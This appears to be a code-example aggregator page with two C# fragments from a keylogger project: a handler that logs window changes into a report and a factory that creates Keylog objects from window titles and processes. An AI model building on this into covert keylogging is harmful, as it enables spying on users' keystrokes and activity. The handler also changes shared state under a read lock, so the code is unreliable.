예제 #1
0
 private static void WindowChangeMonitor_OnWindowChangeEvent(object sender, WindowChangeMonitorEventArgs e)
 {
     _currentKeylogLock.EnterReadLock();
     if (_currentKeylog != null)
     {
         ReportManager.AppendToReport(_currentKeylog);
     }
     _currentKeylog = Keylog.Create(e);
     _currentKeylogLock.ExitReadLock();
 }
예제 #2
0
        public static Keylog Create(WindowChangeMonitorEventArgs e)
        {
            Keylog k = new Keylog(e.WindowTitle, e.WindowProcess);

            return(k);
        }